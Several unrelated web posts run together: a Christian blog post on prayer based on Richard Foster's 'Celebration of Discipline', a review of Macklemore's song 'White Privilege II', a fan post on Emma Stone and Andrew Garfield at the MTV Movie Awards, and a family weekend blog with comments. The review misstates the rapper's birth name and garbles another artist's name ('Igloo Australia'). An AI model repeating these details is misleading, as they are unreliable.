Since prayer is a learning process, we will sometimes fail as we learn to pray. That's okay, the main thing is to pray. Do it! We are free to ask questions of God and to seek his guidance on how to do it. We can experiment. One thing Foster did was to make note of every reference in the Bible on Jesus' teaching about prayer, and paste those references on sheets of paper. The exercise shocked him, because he found out that his experience in prayer did not line up with what Jesus taught. He writes: "Either the excuses and rationalizations for unanswered prayer I had been taught were wrong, or Jesus' words were wrong. I determined to learn to pray so that my experience conformed to the words of Jesus rather than try to make his words conformed to my impoverished experience."
Foster notes that when Jesus prayed for others he never concluded the prayer with "if it's your will". Nor did the apostles or the old testament prophets pray that way. "They obviously believed that they knew what the will of God was before they prayed the prayer of faith." There is a proper place for praying for God's will, such as when we want to know God's heart, or when we pray "your will be done, on earth as it is in heaven". But there are other times where we know what God's will is. In those instances we are to pray confidently, remembering his promises. Sometimes praying "if it's your will" can be a cop out for our lack of belief.
Realizing that prayer is a learning process helps us to keep from dismissing it as something that doesn't work. Foster gives the example of a TV that doesn't function. If you turn on the TV and it doesn't power up, you don't then assume there is no such thing as a working TV. You check if it's plugged in, and use other troubleshooting techniques. The same is true of prayer. If our prayers don't work, we should troubleshoot rather than assume there is no such thing as prayer. "Perhaps we are praying wrongly, perhaps something within us needs changing. Perhaps patience and persistence are needed. We listen, make the necessary adjustments, and try again. We can know that our prayers are being answered as surely as we can know that the television set is working."
To pray is to be in contact with God. When we are in him, his life and power flow through us into others. If we are not connected to him, nothing will happen with our prayers. All other praying is meaningless words (Matt 6:7) Prayer is in large part listening to God. Intercessory prayer starts with listening to God. When we quiet ourselves and listen more to him, that is when we can begin to pray for others.
Listen to God first in the small things. It's our tendency to pray for the hardest things first – like for God to heal someone from blindness or cancer. But God also works in the small physical issues – like healing an ear ache or a cold. When we see God working in the little things, our confidence in him grows. "Success in the small corners of life gives us authority in the larger matters. If we are still, we will learn not only who God is, but how his power operates."
When praying for others our biggest problem is usually not a lack of faith. Rather, it is a lack of compassion. Truly and deeply caring about others often makes the difference in how effective our prayers are for people. Having compassion for someone while you are praying is evidence that God is calling you to pray for them. Compassion characterized every healing that took place in the New Testament. "If we genuinely love people, we desire for them far more than it is within our power to give, and that will cause us to pray."
Prayer doesn't need to be complicated. Jesus teaches us to ask like a child asks his father (Matt 7:9). When my little boy asks for a peanut butter and jelly sandwich, he knows I will give him one. He doesn't worry about my character, he knows I will provide for him. "Children do not find it difficult or complicated to talk to their parents, nor do they feel embarrassed to bring the simplest need to their attention. Neither should we hesitate to bring the simplest requests confidently to the Father." Children are also good at imagining the way things should be. We can pray like that too – allowing God through the guidance of the Spirit to show us the way things should be – people healthy, marriages healed, parents loving their children.
Pray for your church, pray for the time when you worship together. Your pastor needs your prayers. Often pastors can sense when people are praying for them, and when they are not. Pray for God to heal sexual deviations. God created our sexual drives, and he can heal them. If you have children, pray for them and with them. Pray for their protection, and for God's blessing upon them. Pray that God will give you insight and compassion for every person you meet. If you believe that God loves every person, you can also have confidence that he is working in every person.
Pray against evil. Our enemy the devil is like a prowling lion, looking for who he can devour (1 Peter 5:8). Pray for God's protection for you and for others. Remember, you are saved and protected and given authority over evil by the blood of Christ.
Don't wait to pray until you feel like it. Prayer is a discipline, and remembering to pray requires diligence. Just like learning a new musical instrument, prayer takes practice. And pray all the time! We can set aside a specific time to pray, but we can also do it throughout the day, as we do our daily tasks. As we listen to God, he will remind us.
[This blog post is part 2 in a series about the Christian disciplines, based on Richard Foster's book Celebration of Discipline. All quotes in this post (other than the Bible references) are from the book. The series introduction is here.]


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Is Macklemore the Nicest Egotist in Hip-Hop?
Macklemore was splashed across headlines today for releasing a new song, "White Privilege II." Ugh. My first reaction was a heavy dose of eye-rolling and a deep sigh. "Here we go again," I thought. But then I started listening to the nearly nine-minute epic on the struggle to stay woke, and I realized something: it's not actually awful.
"White Privilege II" is a thoughtful introspection on one white man's struggle to overcome the problematic identity of being a "white rapper." Through spoken word verse, snippets of chants from Black Lives Matter protests, and interviews with people about race and prejudice, Macklemore explores a topic that most white people fail to think about—much less grapple with. So it's not as horrific as expected. But the problem is that through all of the talk about white privilege, Igloo Australia disses, and his place in the schism of hip-hop's racial divide, Macklemore falls victim to the same complaint that surfaced in the so-called gay anthem "Same Love," and the original 2005 "White Privilege" song. Macklemore may care a lot about issues that affect people of color and the LGBTQA community, but his lyrics remain steadfast in their narrow-minded focus on himself.
In 1,300 words of premium struggle, the rapper, born Ben Hegarty, jumps from his experience at a police brutality protest, to a perspective-shifting focus on what critics call him out for, to another perspective shift to what fans think of him. Casual listeners are sure to leave wildly confused, or they'll be convinced that he's in the midst of a mental breakdown brought on by the overwhelming weight of privilege. The truth is, his song is important as an essay on the burden of confronting racial prejudice when in a position of incredible power—in the vocal booth and in the streets.
I'm a white person who spent months going to police brutality protests, and years studying the history of racial discrimination in this country, all while grappling to understand my place in the narrative. It's obviously incomparable to the struggles of those who face racial discrimination, but to a certain extent, I can understand the heaviness that Macklemore is dealing with. He's absolutely right to grapple with the question of how to be an ally to those who experience prejudice that he'll never be subjected to. It probably could've used some editing to make it easier to follow, but otherwise, "White Privilege II" rises above its unfortunate name. Unlike the "Same Love" mess, the problem isn't with the song.
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The struggle between staying woke and taking action is a necessary point, yet it's one that seemingly fell on deaf ears once again. Macklemore may feel bad for his white privilege and spend nearly nine minutes rapping about it, but by the time the song ends, he just sounds like a victim of whiteness. If he really wants to live up to the socially conscious image he's built up over the years, he needs to step down from his soapbox. He needs to realize that by making it solely about him and his internal struggle, he's nothing more than an obstacle to real honest change.
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Superheroes at the MTV Movie Awards: Emma Stone and Andrew GarfieldPosted: June 4, 2012 Filed under: Red Carpet Fashion | Tags: andrew garfield, emma stone, mtv movie awards, spider-man, superhero actor Leave a comment
I can't with these two.
Recently I was in an airport, waiting to board, and wearing a t-shirt that mimics Spider-Man's costume. The shirt got a lot of compliments from both friends and strangers and this one chatty (or bored) passenger also waiting to board asked "Why Spider-Man?". I'm not very good at small talk and the question caught me off-guard so I didn't have a clever answer; all I could do was tell the truth.
"Because he's a little guy who does the right thing because it's the right thing," I explained. "I really believe in his 'with great power comes great responsibility schtick' and it's my opinion that we all have great power so we all have the responsibility to do good in the world."
Chatty Guy was somewhat taken aback by this. I'm sure he expected a less earnest and more 'Spider-powers are cool' answer. But his follow up was "So…we should all wear Spider-Man shirts?" so I think he appreciated it. We moved on to discussing Captain America ice cream and the stereotype (that I was totally willing to play along with) that over-earnest superfans like myself must be geniuses.
All of which is to say: I have a lot of feelings for and about Spider-Man. And these two…
Can we start the MMA 2013 Best Kiss campaign right now? I realize the movie isn't out yet but…
SERIOUSLY. Plus, legacy:
This kiss won in 2003.
In terms of fashion, the structure of Emma's dress tips heroine chic, but only just. Andrew absolutely pulls off Peter Parker in that tie.
They pulled off a lot last night. They played with the overblown entrance, they got through their silly awards show banter, they were rather darling amidst the hoopla. But mostly:
I know that when you're a teenager — sometimes when you're an adult — what sets you apart can sometimes feel like a burden and it's not. And a lot of the time, it's what makes you great.
Emma Stone was wearing a Spider-Man t-shirt last night. She was earnest and she was powerful.
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Monday, March 3, 2014
Our Weekend
It was a good weekend around these parts. More snow fell and the temperatures dropped once again, but the sun was shining, and that my friends, is a good thing. On Saturday morning Reece and I took a little drive with some friends to attend a kindergarten morning at the Halton Waldorf School. I was happy to hang out in a Waldorf classroom for a few hours and Reece was happy to bake some bread and play. We hit a lovely vegan restaurant for a late lunch before heading home for a quiet, cozy evening.
We hit the woods on Sunday morning with some friends. It was cold, but we managed a bit of time in nature, and witnessed some woodpeckers doing their thing on the trees. Then it was potluck time with the same friends. There was good conversation, really good food, and lots of fun play for the kiddos. I am so grateful to have connected with these like minded families, people who get us and the journey we are on. It makes this path we are following that much easier to move forward on.
Back at home there were some paper airplane races, a little preparation for the week ahead and then a quiet evening that included a little letter writing and knitting.
How was your weekend?
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Our weekend? We had a massive weekend here. :)ReplyDelete
My husband and l took off for a weekend away, and went to a music festival/concert called A Day on the Green. A very civilised affair at a local winery. Think deck chairs, picnic rugs, cheese, crackers and wine.....and lots of good music. I'm really craving some down time though, and your weekend sounds ideal...... Hope you are well Kim. xxReplies
Oh that sounds wonderful Chrisy! Hope you get some downtime this week :)Delete
Oh, you got more snow?! Spring is arriving here with full force. last year the snow didn't stop and this year we have an early start to spring. we visited our old neighborhood and the favorite park there. Have a good start to the week!ReplyDeleteReplies
We did! And it is so very cold today...I think Mother Nature forgot to turn her calender to March :)Delete
If you get a chance send some spring this way.
I assume he is under all of that bundling :) We still have snow everywhere but it is slowly melting and the storm that was to hit is a miss. (so far). I wouldn't mind a flower or two!!ReplyDeleteReplies
You assume correctly Karen :) I would love to see a flower or two as well, but I think it will be a few more weeks, we have so much snow to melt before there is even a chance to see any. Soon though, at least that is what I keep telling myself.Delete
- AnonymousMarch 3, 2014 at 8:59 AM
I had to hold the computer up to my face to see his little eyes peeking out. I thought he was a snowman for a second!ReplyDeleteReplies
Haha, it was cold yesterday, necessary to be bundled up :)Delete
My sister just called from Va. to tell me it is snowing nonstop there. I am 75 degrees today.ReplyDelete
Hitting the woods always makes for a great day and I have plans to do it again today.
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Keep those temps nice and high, I will be down there in a few weeks and I want to feel the warmth of the sun :) Hope you enjoyed your walk in the woods.Delete
Sounds like a lovely weekend. The sun shining at this time of year really does make a big difference. I love how your little one is all bundled up.ReplyDeleteReplies
Thanks, and yes, the sun shining makes a huge difference.Delete
...he.he you can barely see his little face- he is so bundled up. I am downloading your garden book- you inspired me last year Kim with your lovely raised beds...as soon as the snow melts I think Fog horn and I will incorporate gardening in homeschool.ReplyDeleteReplies
I know, it was very cold yesterday! That is nice to hear, you and Fog horn will have a blast gardening together :)Delete
Sounds beautiful Kim. xxooReplyDeleteReplies
Thanks Julie, it really was :)Delete
Sounds a lovely weekend again. We had quite a bit of rain but managed to get a walk in the woods too, which was lovely. We didn't manage to see woodpeckers, but we did hear them - their lovely, loud, drilling sound. I love that noise, it always makes me stop and smile, and it always makes me think Spring is on the way here. Hope it means that for you too.ReplyDeleteReplies
Thanks, it was. Happy to hear you were able to get out for a walk in the woods. I love the sound of woodpeckers. I sure hope it means spring is on its way, we are waiting for her to arrive :)Delete
From the way his scrap is bundled up to his hat, I would assume that it's frigid! Burrr. :)ReplyDeleteReplies
Frigid is about right!Delete
SOunds ever so lovely! And how fun to get to check out a Waldorf school. Happy Week to you! :)ReplyDeleteReplies
Thanks Summer, it was. And yes, lots of fun to check it out. So beautiful!Delete


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